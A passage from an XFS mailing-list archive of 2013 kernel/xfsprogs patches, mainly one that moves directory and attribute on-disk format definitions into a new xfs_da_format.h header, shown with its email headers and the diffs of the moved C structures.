+ + __be64 bb_blkno; + __be64 bb_lsn; + uuid_t bb_uuid; + __be64 bb_owner; + __le32 bb_crc; + __be32 bb_pad; /* padding for alignment */ + } l; /* long form pointers */ + } bb_u; /* rest */ +}; + +#define XFS_BTREE_SBLOCK_LEN 16 /* size of a short form block */ +#define XFS_BTREE_LBLOCK_LEN 24 /* size of a long form block */ + +/* sizes of CRC enabled btree blocks */ +#define XFS_BTREE_SBLOCK_CRC_LEN (XFS_BTREE_SBLOCK_LEN + 40) +#define XFS_BTREE_LBLOCK_CRC_LEN (XFS_BTREE_LBLOCK_LEN + 48) + +#define XFS_BTREE_SBLOCK_CRC_OFF \ + offsetof(struct xfs_btree_block, bb_u.s.bb_crc) +#define XFS_BTREE_LBLOCK_CRC_OFF \ + offsetof(struct xfs_btree_block, bb_u.l.bb_crc) + +/* + * Generic key, ptr and record wrapper structures. + * + * These are disk format structures, and are converted where necessary + * by the btree specific code that needs to interpret them. + */ +union xfs_btree_ptr { + __be32 s; /* short form ptr */ + __be64 l; /* long form ptr */ +}; + +union xfs_btree_key { + xfs_bmbt_key_t bmbt; + xfs_bmdr_key_t bmbr; /* bmbt root block */ + xfs_alloc_key_t alloc; + xfs_inobt_key_t inobt; +}; + +union xfs_btree_rec { + xfs_bmbt_rec_t bmbt; + xfs_bmdr_rec_t bmbr; /* bmbt root block */ + xfs_alloc_rec_t alloc; + xfs_inobt_rec_t inobt; +}; + + #endif /* __XFS_FORMAT_H__ */ diff --git a/include/xfs_ialloc.h b/include/xfs_ialloc.h index 1557798..a8f76a5 100644 --- a/include/xfs_ialloc.h +++ b/include/xfs_ialloc.h @@ -23,6 +23,7 @@ struct xfs_dinode; struct xfs_imap; struct xfs_mount; struct xfs_trans; +struct xfs_btree_cur; /* * Allocation parameters for inode allocation. @@ -42,7 +43,7 @@ struct xfs_trans; static inline struct xfs_dinode * xfs_make_iptr(struct xfs_mount *mp, struct xfs_buf *b, int o) { - return (xfs_dinode_t *) + return (struct xfs_dinode *) (xfs_buf_offset(b, o << (mp)->m_sb.sb_inodelog)); } diff --git a/include/xfs_ialloc_btree.h b/include/xfs_ialloc_btree.h index cfbfe46..f38b220 100644 --- a/include/xfs_ialloc_btree.h +++ b/include/xfs_ialloc_btree.h @@ -27,55 +27,6 @@ struct xfs_btree_cur; struct xfs_mount; /* - * There is a btree for the inode map per allocation group. - */ -#define XFS_IBT_MAGIC 0x49414254 /* 'IABT' */ -#define XFS_IBT_CRC_MAGIC 0x49414233 /* 'IAB3' */ - -typedef __uint64_t xfs_inofree_t; -#define XFS_INODES_PER_CHUNK (NBBY * sizeof(xfs_inofree_t)) -#define XFS_INODES_PER_CHUNK_LOG (XFS_NBBYLOG + 3) -#define XFS_INOBT_ALL_FREE ((xfs_inofree_t)-1) -#define XFS_INOBT_MASK(i) ((xfs_inofree_t)1 << (i)) - -static inline xfs_inofree_t xfs_inobt_maskn(int i, int n) -{ - return ((n >= XFS_INODES_PER_CHUNK ? 0 : XFS_INOBT_MASK(n)) - 1) << i; -} - -/* - * Data record structure - */ -typedef struct xfs_inobt_rec { - __be32 ir_startino; /* starting inode number */ - __be32 ir_freecount; /* count of free inodes (set bits) */ - __be64 ir_free; /* free inode mask */ -} xfs_inobt_rec_t; - -typedef struct xfs_inobt_rec_incore { - xfs_agino_t ir_startino; /* starting inode number */ - __int32_t ir_freecount; /* count of free inodes (set bits) */ - xfs_inofree_t ir_free; /* free inode mask */ -} xfs_inobt_rec_incore_t; - - -/* - * Key structure - */ -typedef struct xfs_inobt_key { - __be32 ir_startino; /* starting inode number */ -} xfs_inobt_key_t; - -/* btree pointer type */ -typedef __be32 xfs_inobt_ptr_t; - -/* - * block numbers in the AG. - */ -#define XFS_IBT_BLOCK(mp) ((xfs_agblock_t)(XFS_CNT_BLOCK(mp) + 1)) -#define XFS_PREALLOC_BLOCKS(mp) ((xfs_agblock_t)(XFS_IBT_BLOCK(mp) + 1)) - -/* * Btree block header size depends on a superblock flag. */ #define XFS_INOBT_BLOCK_LEN(mp) \ diff --git a/include/xfs_inode_fork.h b/include/xfs_inode_fork.h index 28661a0..eb329a1 100644 --- a/include/xfs_inode_fork.h +++ b/include/xfs_inode_fork.h @@ -19,6 +19,7 @@ #define __XFS_INODE_FORK_H__ struct xfs_inode_log_item; +struct xfs_dinode; /* * The following xfs_ext_irec_t struct introduces a second (top) level -- 1.8.3.2 From dave@fromorbit.com Sun Sep 29 22:16:06 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 15CD47FBF for ; Sun, 29 Sep 2013 22:16:04 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id B2F13304039 for ; Sun, 29 Sep 2013 20:16:03 -0700 (PDT) X-ASG-Debug-ID: 1380510949-04bdf05387682360007-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id aQQKMz2zeymRCc7x for ; Sun, 29 Sep 2013 20:15:56 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlwGAIfsSFJ5LCC0/2dsb2JhbABQCoMHrXmVKxd0giUBAQUaAQwvMwgYMTkDGxmIBbwMjgcHBQuFXAOpeIM2KoEt Received: from ppp121-44-32-180.lns20.syd6.internode.on.net (HELO dastard) ([121.44.32.180]) by ipmail06.adl6.internode.on.net with ESMTP; 30 Sep 2013 12:45:48 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VQTxa-0006Oq-0B for xfs@oss.sgi.com; Mon, 30 Sep 2013 13:15:46 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VQTxZ-0002Fk-VU for xfs@oss.sgi.com; Mon, 30 Sep 2013 13:15:45 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 09/32] xfs: unify directory/attribute format definitions Date: Mon, 30 Sep 2013 13:15:21 +1000 X-ASG-Orig-Subj: [PATCH 09/32] xfs: unify directory/attribute format definitions Message-Id: <1380510944-8571-10-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1380510944-8571-1-git-send-email-david@fromorbit.com> References: <1380510944-8571-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1380510956 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.141043 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner The on-disk format definitions for the directory and attribute structures are spread across 3 header files right now, only one of which is dedicated to defining on-disk structures and their manipulation (xfs_dir2_format.h). Pull all the format definitions into a single header file - xfs_da_format.h - and switch all the code over to point at that. Signed-off-by: Dave Chinner --- include/Makefile | 4 +- include/libxfs.h | 6 +- include/xfs_attr_leaf.h | 230 -------- include/xfs_attr_remote.h | 27 - include/xfs_da_btree.h | 140 ----- include/xfs_da_format.h | 1362 +++++++++++++++++++++++++++++++++++++++++++++ include/xfs_dir2_format.h | 964 -------------------------------- 7 files changed, 1368 insertions(+), 1365 deletions(-) create mode 100644 include/xfs_da_format.h delete mode 100644 include/xfs_dir2_format.h diff --git a/include/Makefile b/include/Makefile index fd2d61b..6682b9d 100644 --- a/include/Makefile +++ b/include/Makefile @@ -26,7 +26,9 @@ QAHFILES = libxfs.h libxlog.h \ xfs_btree_trace.h \ xfs_cksum.h \ xfs_da_btree.h \ - xfs_dinode.h xfs_dir2.h xfs_dir2_format.h \ + xfs_da_format.h \ + xfs_dinode.h \ + xfs_dir2.h \ xfs_format.h \ xfs_ialloc.h \ xfs_ialloc_btree.h \ diff --git a/include/libxfs.h b/include/libxfs.h index a5d6388..835ba37 100644 --- a/include/libxfs.h +++ b/include/libxfs.h @@ -47,7 +47,6 @@ #include #include #include -#include #include #include #include @@ -267,9 +266,10 @@ extern void libxfs_umount (xfs_mount_t *); extern void libxfs_rtmount_destroy (xfs_mount_t *); /* - * xfs/xfs_dir2_format.h needs struct xfs_mount to be defined + * xfs/xfs_da_format.h needs struct xfs_mount to be defined */ -#include +#include +#include #include /* diff --git a/include/xfs_attr_leaf.h b/include/xfs_attr_leaf.h index da34e64..3ec5ec0 100644 --- a/include/xfs_attr_leaf.h +++ b/include/xfs_attr_leaf.h @@ -19,16 +19,6 @@ #ifndef __XFS_ATTR_LEAF_H__ #define __XFS_ATTR_LEAF_H__ -/* - * Attribute storage layout, internal structure, access macros, etc. - * - * Attribute lists are structured around Btrees where all the data - * elements are in the leaf nodes. Attribute names are hashed into an int, - * then that int is used as the index into the Btree. Since the hashval - * of an attribute name may not be unique, we may have duplicate keys. The - * internal links in the Btree are logical block offsets into the file. - */ - struct attrlist; struct attrlist_cursor_kern; struct xfs_attr_list_context; @@ -38,226 +28,6 @@ struct xfs_da_state_blk; struct xfs_inode; struct xfs_trans; -/*======================================================================== - * Attribute structure when equal to XFS_LBSIZE(mp) bytes. - *========================================================================*/ - -/* - * This is the structure of the leaf nodes in the Btree. - * - * Struct leaf_entry's are packed from the top. Name/values grow from the - * bottom but are not packed. The freemap contains run-length-encoded entries - * for the free bytes after the leaf_entry's, but only the N largest such, - * smaller runs are dropped. When the freemap doesn't show enough space - * for an allocation, we compact the name/value area and try again. If we - * still don't have enough space, then we have to split the block. The - * name/value structs (both local and remote versions) must be 32bit aligned. - * - * Since we have duplicate hash keys, for each key that matches, compare - * the actual name string. The root and intermediate node search always - * takes the first-in-the-block key match found, so we should only have - * to work "forw"ard. If none matches, continue with the "forw"ard leaf - * nodes until the hash key changes or the attribute name is found. - * - * We store the fact that an attribute is a ROOT/USER/SECURE attribute in - * the leaf_entry. The namespaces are independent only because we also look - * at the namespace bit when we are looking for a matching attribute name. - * - * We also store an "incomplete" bit in the leaf_entry. It shows that an - * attribute is in the middle of being created and should not be shown to - * the user if we crash during the time that the bit is set. We clear the - * bit when we have finished setting up the attribute. We do this because - * we cannot create some large attributes inside a single transaction, and we - * need some indication that we weren't finished if we crash in the middle. - */ -#define XFS_ATTR_LEAF_MAPSIZE 3 /* how many freespace slots */ - -typedef struct xfs_attr_leaf_map { /* RLE map of free bytes */ - __be16 base; /* base of free region */ - __be16 size; /* length of free region */ -} xfs_attr_leaf_map_t; - -typedef struct xfs_attr_leaf_hdr { /* constant-structure header block */ - xfs_da_blkinfo_t info; /* block type, links, etc. */ - __be16 count; /* count of active leaf_entry's */ - __be16 usedbytes; /* num bytes of names/values stored */ - __be16 firstused; /* first used byte in name area */ - __u8 holes; /* != 0 if blk needs compaction */ - __u8 pad1; - xfs_attr_leaf_map_t freemap[XFS_ATTR_LEAF_MAPSIZE]; - /* N largest free regions */ -} xfs_attr_leaf_hdr_t; - -typedef struct xfs_attr_leaf_entry { /* sorted on key, not name */ - __be32 hashval; /* hash value of name */ - __be16 nameidx; /* index into buffer of name/value */ - __u8 flags; /* LOCAL/ROOT/SECURE/INCOMPLETE flag */ - __u8 pad2; /* unused pad byte */ -} xfs_attr_leaf_entry_t; - -typedef struct xfs_attr_leaf_name_local { - __be16 valuelen; /* number of bytes in value */ - __u8 namelen; /* length of name bytes */ - __u8 nameval[1]; /* name/value bytes */ -} xfs_attr_leaf_name_local_t; - -typedef struct xfs_attr_leaf_name_remote { - __be32 valueblk; /* block number of value bytes */ - __be32 valuelen; /* number of bytes in value */ - __u8 namelen; /* length of name bytes */ - __u8 name[1]; /* name bytes */ -} xfs_attr_leaf_name_remote_t; - -typedef struct xfs_attr_leafblock { - xfs_attr_leaf_hdr_t hdr; /* constant-structure header block */ - xfs_attr_leaf_entry_t entries[1]; /* sorted on key, not name */ - xfs_attr_leaf_name_local_t namelist; /* grows from bottom of buf */ - xfs_attr_leaf_name_remote_t valuelist; /* grows from bottom of buf */ -} xfs_attr_leafblock_t; - -/* - * CRC enabled leaf structures. Called "version 3" structures to match the - * version number of the directory and dablk structures for this feature, and - * attr2 is already taken by the variable inode attribute fork size feature. - */ -struct xfs_attr3_leaf_hdr { - struct xfs_da3_blkinfo info; - __be16 count; - __be16 usedbytes; - __be16 firstused; - __u8 holes; - __u8 pad1; - struct xfs_attr_leaf_map freemap[XFS_ATTR_LEAF_MAPSIZE]; - __be32 pad2; /* 64 bit alignment */ -}; - -#define XFS_ATTR3_LEAF_CRC_OFF (offsetof(struct xfs_attr3_leaf_hdr, info.crc)) - -struct xfs_attr3_leafblock { - struct xfs_attr3_leaf_hdr hdr; - struct xfs_attr_leaf_entry entries[1]; - - /* - * The rest of the block contains the following structures after the - * leaf entries, growing from the bottom up. The variables are never - * referenced, the locations accessed purely from helper functions. - * - * struct xfs_attr_leaf_name_local - * struct xfs_attr_leaf_name_remote - */ -}; - -/* - * incore, neutral version of the attribute leaf header - */ -struct xfs_attr3_icleaf_hdr { - __uint32_t forw; - __uint32_t back; - __uint16_t magic; - __uint16_t count; - __uint16_t usedbytes; - __uint16_t firstused; - __u8 holes; - struct { - __uint16_t base; - __uint16_t size; - } freemap[XFS_ATTR_LEAF_MAPSIZE]; -}; - -/* - * Flags used in the leaf_entry[i].flags field. - * NOTE: the INCOMPLETE bit must not collide with the flags bits specified - * on the system call, they are "or"ed together for various operations. - */ -#define XFS_ATTR_LOCAL_BIT 0 /* attr is stored locally */ -#define XFS_ATTR_ROOT_BIT 1 /* limit access to trusted attrs */ -#define XFS_ATTR_SECURE_BIT 2 /* limit access to secure attrs */ -#define XFS_ATTR_INCOMPLETE_BIT 7 /* attr in middle of create/delete */ -#define XFS_ATTR_LOCAL (1 << XFS_ATTR_LOCAL_BIT) -#define XFS_ATTR_ROOT (1 << XFS_ATTR_ROOT_BIT) -#define XFS_ATTR_SECURE (1 << XFS_ATTR_SECURE_BIT) -#define XFS_ATTR_INCOMPLETE (1 << XFS_ATTR_INCOMPLETE_BIT) - -/* - * Conversion macros for converting namespace bits from argument flags - * to ondisk flags. - */ -#define XFS_ATTR_NSP_ARGS_MASK (ATTR_ROOT | ATTR_SECURE) -#define XFS_ATTR_NSP_ONDISK_MASK (XFS_ATTR_ROOT | XFS_ATTR_SECURE) -#define XFS_ATTR_NSP_ONDISK(flags) ((flags) & XFS_ATTR_NSP_ONDISK_MASK) -#define XFS_ATTR_NSP_ARGS(flags) ((flags) & XFS_ATTR_NSP_ARGS_MASK) -#define XFS_ATTR_NSP_ARGS_TO_ONDISK(x) (((x) & ATTR_ROOT ? XFS_ATTR_ROOT : 0) |\ - ((x) & ATTR_SECURE ? XFS_ATTR_SECURE : 0)) -#define XFS_ATTR_NSP_ONDISK_TO_ARGS(x) (((x) & XFS_ATTR_ROOT ? ATTR_ROOT : 0) |\ - ((x) & XFS_ATTR_SECURE ? ATTR_SECURE : 0)) - -/* - * Alignment for namelist and valuelist entries (since they are mixed - * there can be only one alignment value) - */ -#define XFS_ATTR_LEAF_NAME_ALIGN ((uint)sizeof(xfs_dablk_t)) - -static inline int -xfs_attr3_leaf_hdr_size(struct xfs_attr_leafblock *leafp) -{ - if (leafp->hdr.info.magic == cpu_to_be16(XFS_ATTR3_LEAF_MAGIC)) - return sizeof(struct xfs_attr3_leaf_hdr); - return sizeof(struct xfs_attr_leaf_hdr); -} - -static inline struct xfs_attr_leaf_entry * -xfs_attr3_leaf_entryp(xfs_attr_leafblock_t *leafp) -{ - if (leafp->hdr.info.magic == cpu_to_be16(XFS_ATTR3_LEAF_MAGIC)) - return &((struct xfs_attr3_leafblock *)leafp)->entries[0]; - return &leafp->entries[0]; -} - -/* - * Cast typed pointers for "local" and "remote" name/value structs. - */ -static inline char * -xfs_attr3_leaf_name(xfs_attr_leafblock_t *leafp, int idx) -{ - struct xfs_attr_leaf_entry *entries = xfs_attr3_leaf_entryp(leafp); - - return &((char *)leafp)[be16_to_cpu(entries[idx].nameidx)]; -} - -static inline xfs_attr_leaf_name_remote_t * -xfs_attr3_leaf_name_remote(xfs_attr_leafblock_t *leafp, int idx) -{ - return (xfs_attr_leaf_name_remote_t *)xfs_attr3_leaf_name(leafp, idx); -} - -static inline xfs_attr_leaf_name_local_t * -xfs_attr3_leaf_name_local(xfs_attr_leafblock_t *leafp, int idx) -{ - return (xfs_attr_leaf_name_local_t *)xfs_attr3_leaf_name(leafp, idx); -} - -/* - * Calculate total bytes used (including trailing pad for alignment) for - * a "local" name/value structure, a "remote" name/value structure, and - * a pointer which might be either. - */ -static inline int xfs_attr_leaf_entsize_remote(int nlen) -{ - return ((uint)sizeof(xfs_attr_leaf_name_remote_t) - 1 + (nlen) + \ - XFS_ATTR_LEAF_NAME_ALIGN - 1) & ~(XFS_ATTR_LEAF_NAME_ALIGN - 1); -} - -static inline int xfs_attr_leaf_entsize_local(int nlen, int vlen) -{ - return ((uint)sizeof(xfs_attr_leaf_name_local_t) - 1 + (nlen) + (vlen) + - XFS_ATTR_LEAF_NAME_ALIGN - 1) & ~(XFS_ATTR_LEAF_NAME_ALIGN - 1); -} - -static inline int xfs_attr_leaf_entsize_local_max(int bsize) -{ - return (((bsize) >> 1) + ((bsize) >> 2)); -} - /* * Used to keep a list of "remote value" extents when unlinking an inode. */ diff --git a/include/xfs_attr_remote.h b/include/xfs_attr_remote.h index b3e1e1b..5a9acfa 100644 --- a/include/xfs_attr_remote.h +++ b/include/xfs_attr_remote.h @@ -18,33 +18,6 @@ #ifndef __XFS_ATTR_REMOTE_H__ #define __XFS_ATTR_REMOTE_H__ -#define XFS_ATTR3_RMT_MAGIC 0x5841524d /* XARM */ - -/* - * There is one of these headers per filesystem block in a remote attribute. - * This is done to ensure there is a 1:1 mapping between the attribute value - * length and the number of blocks needed to store the attribute. This makes the - * verification of a buffer a little more complex, but greatly simplifies the - * allocation, reading and writing of these attributes as we don't have to guess - * the number of blocks needed to store the attribute data. - */ -struct xfs_attr3_rmt_hdr { - __be32 rm_magic; - __be32 rm_offset; - __be32 rm_bytes; - __be32 rm_crc; - uuid_t rm_uuid; - __be64 rm_owner; - __be64 rm_blkno; - __be64 rm_lsn; -}; - -#define XFS_ATTR3_RMT_CRC_OFF offsetof(struct xfs_attr3_rmt_hdr, rm_crc) - -#define XFS_ATTR3_RMT_BUF_SPACE(mp, bufsize) \ - ((bufsize) - (xfs_sb_version_hascrc(&(mp)->m_sb) ? \ - sizeof(struct xfs_attr3_rmt_hdr) : 0)) - int xfs_attr3_rmt_blocks(struct xfs_mount *mp, int attrlen); int xfs_attr_rmtval_get(struct xfs_da_args *args); diff --git a/include/xfs_da_btree.h b/include/xfs_da_btree.h index a762cfa..e492dca 100644 --- a/include/xfs_da_btree.h +++ b/include/xfs_da_btree.h @@ -25,146 +25,6 @@ struct xfs_trans; struct zone; /*======================================================================== - * Directory Structure when greater than XFS_LBSIZE(mp) bytes. - *========================================================================*/ - -/* - * This structure is common to both leaf nodes and non-leaf nodes in the Btree. - * - * It is used to manage a doubly linked list of all blocks at the same - * level in the Btree, and to identify which type of block this is. - */ -#define XFS_DA_NODE_MAGIC 0xfebe /* magic number: non-leaf blocks */ -#define XFS_ATTR_LEAF_MAGIC 0xfbee /* magic number: attribute leaf blks */ -#define XFS_DIR2_LEAF1_MAGIC 0xd2f1 /* magic number: v2 dirlf single blks */ -#define XFS_DIR2_LEAFN_MAGIC 0xd2ff /* magic number: v2 dirlf multi blks */ - -typedef struct xfs_da_blkinfo { - __be32 forw; /* previous block in list */ - __be32 back; /* following block in list */ - __be16 magic; /* validity check on block */ - __be16 pad; /* unused */ -} xfs_da_blkinfo_t; - -/* - * CRC enabled directory structure types - * - * The headers change size for the additional verification information, but - * otherwise the tree layouts and contents are unchanged. Hence the da btree - * code can use the struct xfs_da_blkinfo for manipulating the tree links and - * magic numbers without modification for both v2 and v3 nodes. - */ -#define XFS_DA3_NODE_MAGIC 0x3ebe /* magic number: non-leaf blocks */ -#define XFS_ATTR3_LEAF_MAGIC 0x3bee /* magic number: attribute leaf blks */ -#define XFS_DIR3_LEAF1_MAGIC 0x3df1 /* magic number: v2 dirlf single blks */ -#define XFS_DIR3_LEAFN_MAGIC 0x3dff /* magic number: v2 dirlf multi blks */ - -struct xfs_da3_blkinfo { - /* - * the node link manipulation code relies on the fact that the first - * element of this structure is the struct xfs_da_blkinfo so it can - * ignore the differences in the rest of the structures. - */ - struct xfs_da_blkinfo hdr; - __be32 crc; /* CRC of block */ - __be64 blkno; /* first block of the buffer */ - __be64 lsn; /* sequence number of last write */ - uuid_t uuid; /* filesystem we belong to */ - __be64 owner; /* inode that owns the block */ -}; - -/* - * This is the structure of the root and intermediate nodes in the Btree. - * The leaf nodes are defined above. - * - * Entries are not packed. - * - * Since we have duplicate keys, use a binary search but always follow - * all match in the block, not just the first match found. - */ -#define XFS_DA_NODE_MAXDEPTH 5 /* max depth of Btree */ - -typedef struct xfs_da_node_hdr { - struct xfs_da_blkinfo info; /* block type, links, etc. */ - __be16 __count; /* count of active entries */ - __be16 __level; /* level above leaves (leaf == 0) */ -} xfs_da_node_hdr_t; - -struct xfs_da3_node_hdr { - struct xfs_da3_blkinfo info; /* block type, links, etc. */ - __be16 __count; /* count of active entries */ - __be16 __level; /* level above leaves (leaf == 0) */ - __be32 __pad32; -}; - -#define XFS_DA3_NODE_CRC_OFF (offsetof(struct xfs_da3_node_hdr, info.crc)) - -typedef struct xfs_da_node_entry { - __be32 hashval; /* hash value for this descendant */ - __be32 before; /* Btree block before this key */ -} xfs_da_node_entry_t; - -typedef struct xfs_da_intnode { - struct xfs_da_node_hdr hdr; - struct xfs_da_node_entry __btree[]; -} xfs_da_intnode_t; - -struct xfs_da3_intnode { - struct xfs_da3_node_hdr hdr; - struct xfs_da_node_entry __btree[]; -}; - -/* - * In-core version of the node header to abstract the differences in the v2 and - * v3 disk format of the headers. Callers need to convert to/from disk format as - * appropriate. - */ -struct xfs_da3_icnode_hdr { - __uint32_t forw; - __uint32_t back; - __uint16_t magic; - __uint16_t count; - __uint16_t level; -}; - -extern void xfs_da3_node_hdr_from_disk(struct xfs_da3_icnode_hdr *to, - struct xfs_da_intnode *from); -extern void xfs_da3_node_hdr_to_disk(struct xfs_da_intnode *to, - struct xfs_da3_icnode_hdr *from); - -static inline int -__xfs_da3_node_hdr_size(bool v3) -{ - if (v3) - return sizeof(struct xfs_da3_node_hdr); - return sizeof(struct xfs_da_node_hdr); -} -static inline int -xfs_da3_node_hdr_size(struct xfs_da_intnode *dap) -{ - bool v3 = dap->hdr.info.magic == cpu_to_be16(XFS_DA3_NODE_MAGIC); - - return __xfs_da3_node_hdr_size(v3); -} - -static inline struct xfs_da_node_entry * -xfs_da3_node_tree_p(struct xfs_da_intnode *dap) -{ - if (dap->hdr.info.magic == cpu_to_be16(XFS_DA3_NODE_MAGIC)) { - struct xfs_da3_intnode *dap3 = (struct xfs_da3_intnode *)dap; - return dap3->__btree; - } - return dap->__btree; -} - -extern void xfs_da3_intnode_from_disk(struct xfs_da3_icnode_hdr *to, - struct xfs_da_intnode *from); -extern void xfs_da3_intnode_to_disk(struct xfs_da_intnode *to, - struct xfs_da3_icnode_hdr *from); - -#define XFS_LBSIZE(mp) (mp)->m_sb.sb_blocksize - -/*======================================================================== * Btree searching and modification structure definitions. *========================================================================*/ diff --git a/include/xfs_da_format.h b/include/xfs_da_format.h new file mode 100644 index 0000000..89a1a21 --- /dev/null +++ b/include/xfs_da_format.h @@ -0,0 +1,1362 @@ +/* + * Copyright (c) 2000-2001,2005 Silicon Graphics, Inc. + * Copyright (c) 2013 Red Hat, Inc. + * All Rights Reserved. + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License as + * published by the Free Software Foundation. + * + * This program is distributed in the hope that it would be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write the Free Software Foundation, + * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA + */ +#ifndef __XFS_DA_FORMAT_H__ +#define __XFS_DA_FORMAT_H__ + +/*======================================================================== + * Directory Structure when greater than XFS_LBSIZE(mp) bytes. + *========================================================================*/ + +/* + * This structure is common to both leaf nodes and non-leaf nodes in the Btree. + * + * It is used to manage a doubly linked list of all blocks at the same + * level in the Btree, and to identify which type of block this is. + */ +#define XFS_DA_NODE_MAGIC 0xfebe /* magic number: non-leaf blocks */ +#define XFS_ATTR_LEAF_MAGIC 0xfbee /* magic number: attribute leaf blks */ +#define XFS_DIR2_LEAF1_MAGIC 0xd2f1 /* magic number: v2 dirlf single blks */ +#define XFS_DIR2_LEAFN_MAGIC 0xd2ff /* magic number: v2 dirlf multi blks */ + +typedef struct xfs_da_blkinfo { + __be32 forw; /* previous block in list */ + __be32 back; /* following block in list */ + __be16 magic; /* validity check on block */ + __be16 pad; /* unused */ +} xfs_da_blkinfo_t; + +/* + * CRC enabled directory structure types + * + * The headers change size for the additional verification information, but + * otherwise the tree layouts and contents are unchanged. Hence the da btree + * code can use the struct xfs_da_blkinfo for manipulating the tree links and + * magic numbers without modification for both v2 and v3 nodes. + */ +#define XFS_DA3_NODE_MAGIC 0x3ebe /* magic number: non-leaf blocks */ +#define XFS_ATTR3_LEAF_MAGIC 0x3bee /* magic number: attribute leaf blks */ +#define XFS_DIR3_LEAF1_MAGIC 0x3df1 /* magic number: v2 dirlf single blks */ +#define XFS_DIR3_LEAFN_MAGIC 0x3dff /* magic number: v2 dirlf multi blks */ + +struct xfs_da3_blkinfo { + /* + * the node link manipulation code relies on the fact that the first + * element of this structure is the struct xfs_da_blkinfo so it can + * ignore the differences in the rest of the structures. + */ + struct xfs_da_blkinfo hdr; + __be32 crc; /* CRC of block */ + __be64 blkno; /* first block of the buffer */ + __be64 lsn; /* sequence number of last write */ + uuid_t uuid; /* filesystem we belong to */ + __be64 owner; /* inode that owns the block */ +}; + +/* + * This is the structure of the root and intermediate nodes in the Btree. + * The leaf nodes are defined above. + * + * Entries are not packed. + * + * Since we have duplicate keys, use a binary search but always follow + * all match in the block, not just the first match found. + */ +#define XFS_DA_NODE_MAXDEPTH 5 /* max depth of Btree */ + +typedef struct xfs_da_node_hdr { + struct xfs_da_blkinfo info; /* block type, links, etc. */ + __be16 __count; /* count of active entries */ + __be16 __level; /* level above leaves (leaf == 0) */ +} xfs_da_node_hdr_t; + +struct xfs_da3_node_hdr { + struct xfs_da3_blkinfo info; /* block type, links, etc. */ + __be16 __count; /* count of active entries */ + __be16 __level; /* level above leaves (leaf == 0) */ + __be32 __pad32; +}; + +#define XFS_DA3_NODE_CRC_OFF (offsetof(struct xfs_da3_node_hdr, info.crc)) + +typedef struct xfs_da_node_entry { + __be32 hashval; /* hash value for this descendant */ + __be32 before; /* Btree block before this key */ +} xfs_da_node_entry_t; + +typedef struct xfs_da_intnode { + struct xfs_da_node_hdr hdr; + struct xfs_da_node_entry __btree[]; +} xfs_da_intnode_t; + +struct xfs_da3_intnode { + struct xfs_da3_node_hdr hdr; + struct xfs_da_node_entry __btree[]; +}; + +/* + * In-core version of the node header to abstract the differences in the v2 and + * v3 disk format of the headers. Callers need to convert to/from disk format as + * appropriate. + */ +struct xfs_da3_icnode_hdr { + __uint32_t forw; + __uint32_t back; + __uint16_t magic; + __uint16_t count; + __uint16_t level; +}; + +extern void xfs_da3_node_hdr_from_disk(struct xfs_da3_icnode_hdr *to, + struct xfs_da_intnode *from); +extern void xfs_da3_node_hdr_to_disk(struct xfs_da_intnode *to, + struct xfs_da3_icnode_hdr *from); + +static inline int +__xfs_da3_node_hdr_size(bool v3) +{ + if (v3) + return sizeof(struct xfs_da3_node_hdr); + return sizeof(struct xfs_da_node_hdr); +} +static inline int +xfs_da3_node_hdr_size(struct xfs_da_intnode *dap) +{ + bool v3 = dap->hdr.info.magic == cpu_to_be16(XFS_DA3_NODE_MAGIC); + + return __xfs_da3_node_hdr_size(v3); +} + +static inline struct xfs_da_node_entry * +xfs_da3_node_tree_p(struct xfs_da_intnode *dap) +{ + if (dap->hdr.info.magic == cpu_to_be16(XFS_DA3_NODE_MAGIC)) { + struct xfs_da3_intnode *dap3 = (struct xfs_da3_intnode *)dap; + return dap3->__btree; + } + return dap->__btree; +} + +extern void xfs_da3_intnode_from_disk(struct xfs_da3_icnode_hdr *to, + struct xfs_da_intnode *from); +extern void xfs_da3_intnode_to_disk(struct xfs_da_intnode *to, + struct xfs_da3_icnode_hdr *from); + +#define XFS_LBSIZE(mp) (mp)->m_sb.sb_blocksize + +/* + * Directory version 2. + * + * There are 4 possible formats: + * - shortform - embedded into the inode + * - single block - data with embedded leaf at the end + * - multiple data blocks, single leaf+freeindex block + * - data blocks, node and leaf blocks (btree), freeindex blocks + * + * Note: many node blocks structures and constants are shared with the attr + * code and defined in xfs_da_btree.h. + */ + +#define XFS_DIR2_BLOCK_MAGIC 0x58443242 /* XD2B: single block dirs */ +#define 